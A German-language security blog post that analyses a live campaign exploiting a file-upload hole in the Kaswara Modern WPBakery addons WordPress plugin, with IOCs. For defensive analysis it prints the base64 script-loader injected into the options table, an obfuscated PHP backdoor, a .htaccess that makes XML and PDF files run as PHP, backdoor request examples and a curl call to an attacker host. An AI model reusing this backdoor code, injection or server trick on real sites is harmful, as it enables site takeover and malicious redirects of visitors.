Verwundbares Kaswara Modern WPBakery Page Builder Addons Plugin wird in freier Wildbahn ausgenutzt

Veröffentlicht: 2021-06-08

Bereits am 20. April 2021 haben unsere Freunde von WPScan eine schwerwiegende Schwachstelle in Kaswara Modern VC Add-ons gemeldet, auch bekannt als Kaswara Modern WPBakery Page Builder-Add-ons. Es ist bei Codecanyon/Envato nicht mehr verfügbar, was bedeutet, dass Sie, wenn Sie es ausführen, eine Alternative wählen müssen.

Diese Schwachstelle ermöglicht es nicht authentifizierten Benutzern, beliebige Dateien in das Icon-Verzeichnis des Plugins (./wp-content/uploads/kaswara/icons) hochzuladen. Dies ist der erste Indicator Of Compromise (IOC), den unsere Freunde bei WPScan in ihrem Bericht mit uns geteilt haben.

Die Möglichkeit, beliebige Dateien auf eine Website hochzuladen, gibt dem Angreifer die volle Kontrolle über die Website, was es schwierig macht, die endgültige Nutzlast dieser Infektion zu definieren; daher zeigen wir Ihnen alles, was wir bisher gefunden haben (wir haben uns ein wenig von der Recherche mitreißen lassen, also fühlen Sie sich frei, zum IOC-Bereich zu springen, wenn Sie nicht durchlesen möchten).

Datenbankinjektion, gefälschte Android-Apps und andere Hintertüren

Vielen Dank an unseren Freund Denis Sinegubko von Sucuri für den Hinweis auf die bei diesem Angriff verwendete Datenbankinjektions-Nachverfolgung.

Angreifer würden die Option „kaswara-customJS“ aktualisieren, um ein willkürliches bösartiges JavaScript-Code-Snippet hinzuzufügen. Hier ist ein Beispiel, das wir gefunden haben:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Diese base64-codierte Zeichenfolge bedeutet:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

Und wie es bei dieser Art von Skript üblich ist, lädt es eine Reihe anderer Javascript-Code-Snippets und die endgültige Nutzlast ist entweder ein Malvertising oder ein Exploit-Kit. Dies ist dem, was Wordfence hier berichtet, sehr ähnlich.

In diesem Fall stirbt das Skript auf hxxp://double-clickd[.]com/ und lädt keine schlechten Inhalte. Ich habe verdächtiges Javascript gefunden, das diese Seite seit Anfang 2020 aufruft, und Leute haben es bereits seit 2018 blockiert.

Gefälschte Apps, die auf die Website hochgeladen wurden

Die 40 Android-Apps, die auf den von uns untersuchten Websites gefunden wurden, waren gefälschte Versionen verschiedener Apps, wie AliPay, PayPal, Correos, DHL und viele andere, die laut dieser VirusTotal-Analyse glücklicherweise von den beliebtesten Antiviren-Anbietern entdeckt wurden.

VirusTotal führt zu einer der APK-Dateien, die auf einer kompromittierten Website gefunden wurden

Ich habe die Absichten der App nicht überprüft, aber ein kurzer Überblick über die angeforderten Berechtigungen kann uns einen Eindruck davon geben, was sie tun könnte:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Diese Dateien werden jedoch nicht sofort mit dem Kaswara-Exploit hochgeladen. Nachdem die Website kompromittiert wurde, laden die Angreifer zunächst andere Tools hoch, um die Website vollständig zu kontrollieren.

Hochgeladene Dateien

Einige Backdoors und andere Malware wurden auch auf Websites gefunden, die von dieser Schwachstelle betroffen sind. Ich werde in diesem Beitrag eine kurze Analyse der beliebtesten und interessantesten veröffentlichen. Ich möchte mich jedoch zunächst auf die komplexeste konzentrieren.

Umleitungs- und gefälschte Apps

Die gefälschten Apps, die ich auf mehreren kompromittierten Websites gefunden habe, wurden nicht durch Ausnutzen der Kaswara-Schwachstelle hochgeladen. Sie werden mithilfe eines multifunktionalen Hacktools auf die Website hochgeladen, das es dem Angreifer ermöglicht, einen Remote-Code hochzuladen (durch Angabe einer URL oder Zeichenfolge) und den Benutzer auf eine bösartige Website umzuleiten.

Die Datei kann leicht anhand dieser Zeichenfolge identifiziert werden: base64_decode('MTIz');error_reporting(0); Funktion

Interessanterweise randomisiert es alles andere außer diesem.

Die Malware befindet sich in einer einzigen Zeile, was auch ein interessantes IOC ist, wenn Sie nach dieser Art von Codeanomalie suchen.

c.php-Malware mit vollständiger Codierung

Um es verständlicher zu machen, habe ich die meisten Teile des Codes entschlüsselt, die interessanten Funktionen umbenannt und den Code verschönert. Die Malware enthält 6 verschiedene Funktionen, von denen 5 auf den Werten basieren, die an die Variable $_GET['ts'] werden. Betrachten wir für dieses Dokument eine der vielen Instanzen, die ich gefunden habe: c.php .

/c.php?ts=kt

Dies bewirkt nichts und zwingt die Site, einen 500-Fehler zurückzugeben (später im Code).

/c.php?ts=1

Ändert den Wert des $q1a Flags auf true, um eine Codevalidierung durchzuführen und eine OK-Meldung an den Angreifer auszugeben.

In diesem Fall antwortet die Gegenstelle: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v="Code"&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Schreibt eine Datei auf den Server mit Code, der durch den Inhalt von $_GET["v"] bereitgestellt wird, solange $_GET["p"] die SHA1-Prüfsumme von 123 ist (erinnern Sie sich an den ersten IOC von base64_decode('MTIz') ? this ist das die Prüfsumme).

/c.php?ts=tt

Schreibt 5 MB „-“ auf den Server, vermutlich um zu testen, ob die Upload-Funktion auf dem Server funktioniert.

/c.php?ts=dwm&h=HASH1,HASH2

Wenn die Malware diese Anfrage erhält, führt sie einen Test durch, um zu überprüfen, ob hochgeladene Dateien erfolgreich auf den Server geschrieben wurden. Ihre MD5-Hashes müssen bekannt sein und werden als kommagetrennte Werte an die Variable $_GET['h'] gesendet.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Lädt eine Datei von einer Reihe von Websites Dritter herunter und speichert sie auf dem Server, der sie nach den letzten 12 Zeichen der md5 der heruntergeladenen Datei benennt.

Dies ist die Funktion, die verwendet wird, um gefälschte Apps auf den Server hochzuladen.

Hier ist ein Beispiel für die Anfrage zum Herunterladen schädlicher Dateien /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Zugriff umleiten

Wenn die Option kt oder keine Option ausgewählt wurde, fährt der Code mit der Umleitung fort, die durch Anfordern eines JSON-Blobs mit den erforderlichen Daten erreicht wird. Anschließend leitet es den Besucher über die Header-Funktion weiter.

Die Antwort lautet wie folgt: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

Die Funktion zum Ausführen einer cURL-Anfrage mit den erforderlichen Parametern ist diese: Nichts Besonderes…

Und es kann in diese cURL-Anfrage übersetzt werden:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

Die endgültige URL ist, soweit ich das testen konnte, zufällig, hat aber die gleiche Eigenschaft, eine gefälschte Seite für einen beliebten Dienst oder eine App zu sein.

wp-content/uploads/kaswara/icons/16/javas.xml und wp-content/uploads/kaswara/icons/16/.htaccess

Eine XML-Datei wird normalerweise nicht als potenzielle Bedrohung markiert, aber in diesem Fall haben wir eine speziell gestaltete .htaccess-Datei, die ändert, wie der Webserver sie sieht:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

Tatsächlich weist es Apache an, alle Java-, Home- oder Menüdateien mit xml, php oder pdf als PHP-Datei zu verstehen, die entsprechend verarbeitet und ausgeführt werden muss. Daher ist jede dieser Dateien, die sich in derselben Verzeichnisstruktur wie diese .htaccess befinden, verdächtig.

Die Datei javas.xml ist die gleiche wie einige andere bösartige Dateien, die auf die Website hochgeladen wurden. Ich habe festgestellt, dass der Unterschied darin besteht, dass einige eine oder zwei Leerzeilen am Ende der Datei haben, was das traditionelle Hashing etwas schwieriger macht.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

Der bösartige Code wird mit str_rot13- und base64-codierten Zeichenfolgen verschleiert. Es verwendet auch Hexadezimalwerte und mathematische Operationen, um die Zeichenfolgen ein wenig mehr zu verbergen. Die endgültige Nutzlast ist unbekannt, da sie eine Funktion basierend auf den Werten einer POST-Anforderung erstellt. Die Nutzlast scheint jedoch jedes Mal gleich zu sein, da sie sich auf eine md5-Prüfung stützt, bevor sie erstellt wird (c42ea979ed982c02632430e9e98a66d6 ist der md5-Hash).

Fazit

Da es sich um eine aktive Kampagne handelt, finden wir zum Zeitpunkt des Schreibens dieses Beitrags immer mehr verschiedene Malware-Beispiele, die auf den betroffenen Websites abgelegt werden. Einige sind nur Variationen dessen, was wir hier haben, während andere interessant genug für eine tiefere Analyse sind. Suchen Sie in Kürze nach einigen kleineren Beiträgen, um einige dieser anderen Beispiele zu erkunden.

Dies zeigt, wie wichtig es ist, Ihre Erweiterungen mit den neuesten Sicherheitsfixes zu aktualisieren. Wenn die Entwickler Fixes nicht rechtzeitig veröffentlichen oder es aus dem WordPress.org-Repository (oder anderen Marktplätzen) entfernt wird, empfehlen wir Ihnen dringend, eine sicherere Alternative dazu zu finden.

Wenn Sie sich Sorgen über Malware und Schwachstellen für Ihre Website machen, sehen Sie sich die Sicherheitsfunktionen von Jetpack an. Jetpack Security bietet einfach zu bedienende, umfassende WordPress-Site-Sicherheit, einschließlich Backups, Malware-Scans und Spam-Schutz.

Indikatoren für Kompromisse

Hier finden Sie die vollständige Liste aller von uns identifizierten IOCs:

Hash (SHA-1) Weg Bedrohungsbeschreibung
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Gefälschte Android-App
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Gefälschte Android-App
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Gefälschte Android-App
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd Gefälschte Android-App
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Gefälschte Android-App
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Gefälschte Android-App
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Gefälschte Android-App
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Gefälschte Android-App
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Gefälschte Android-App
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Gefälschte Android-App
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Gefälschte Android-App
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa Gefälschte Android-App
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Gefälschte Android-App
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Gefälschte Android-App
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Gefälschte Android-App
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Gefälschte Android-App
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Gefälschte Android-App
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Gefälschte Android-App
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Gefälschte Android-App
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Gefälschte Android-App
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Gefälschte Android-App
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Gefälschte Android-App
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Gefälschte Android-App
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Gefälschte Android-App
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Gefälschte Android-App
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Gefälschte Android-App
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Gefälschte Android-App
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Gefälschte Android-App
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Gefälschte Android-App
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Gefälschte Android-App
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Gefälschte Android-App
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Gefälschte Android-App
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Gefälschte Android-App
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Gefälschte Android-App
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Gefälschte Android-App
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Gefälschte Android-App
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Gefälschte Android-App
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Gefälschte Android-App
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Gefälschte Android-App
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Gefälschte Android-App
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Abgelegte Malware
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Abgelegte Malware
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php PHP-Datei-Uploader
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Abgelegte Malware
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Malware zur Remotecodeausführung
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Abgelegte Malware
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php Abgelegte Malware
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Abgelegte Malware
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Abgelegte Malware
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Abgelegte Malware
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Abgelegte Malware
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php Abgelegte Malware
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php Abgelegte Malware
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php Malware zur Remotecodeausführung
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php Abgelegte Malware
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php oder ./wp-content/uploads/xeh02b.php Abgelegte Malware
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php Abgelegte Malware
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php Malware zur Remotecodeausführung
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Abgelegte Malware
wp-content/uploads/kaswara/icons/16/javas.xml Malware zur Remotecodeausführung
schlumpfine.ru Schädliche Domäne
http://papass.ru Schädliche Domäne